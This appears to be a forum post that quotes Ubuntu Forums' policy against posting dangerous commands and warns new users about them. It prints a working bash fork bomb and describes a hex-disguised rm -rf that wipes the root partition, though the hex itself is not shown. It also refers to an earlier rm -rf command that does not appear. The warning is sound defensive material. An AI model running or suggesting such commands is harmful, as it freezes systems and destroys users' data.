The following messages was written in this article that was posted in Ubuntu Forums:
[quote] Ubuntu Forums has a strict zero-tolerance policy when it comes to posting dangerous commands. In the past members have been banned for posting dangerous commands. If the intent is malicious, this is simply unnacceptable. If it is meant as a joke – it is not funny.
Please be cautious when a command is suggested or if directed to download script/s as a solution to a problem. When in doubt as to the safety of the procedure, it's always a good idea to wait for more opinions, and/or have the command explained and verify if the explanation makes sense by consulting readily available documentation on Linux commands (such as manpages). If you have any doubts about the content of a command or script, report the post/thread and forum staff will investigate.
Please take care when posting commands or scripts to assist other users. Post only well known, documented and current commands appropriate for the operating system in use, or scripts from reputable sources. If you do post commands in order to help someone but which have the potential to be dangerous, always make sure you warn possible users of the dangers, not just to the user you are helping, but others who may come across the post later. If posting scripts that help with various tasks, please be prepared to provide a source and description of the content. [/quote]
[quote] Forkbomb: It is a malicious script that will execute a huge number of processes until your system freezes, forcing you to do a hard reboot which may cause data corruption or data damage.
The below command looks really intriguing and curiosity may lead new and inexperienced users to execute it! DON'T EXECUTE THEM! [/quote]
[code] :(){ :|:& };:[/code]
[quote] The below command is nothing but the first command above (rm -rf). Here the codes are hidden in hex so that an ignorant user may be fooled. Running the below code in your terminal will wipe your root partition.
This command here shows that the threat may be hidden and not normally detectable sometimes. You must be aware of what you are doing and what would be the result. Don’t compile/run codes from an unknown source.
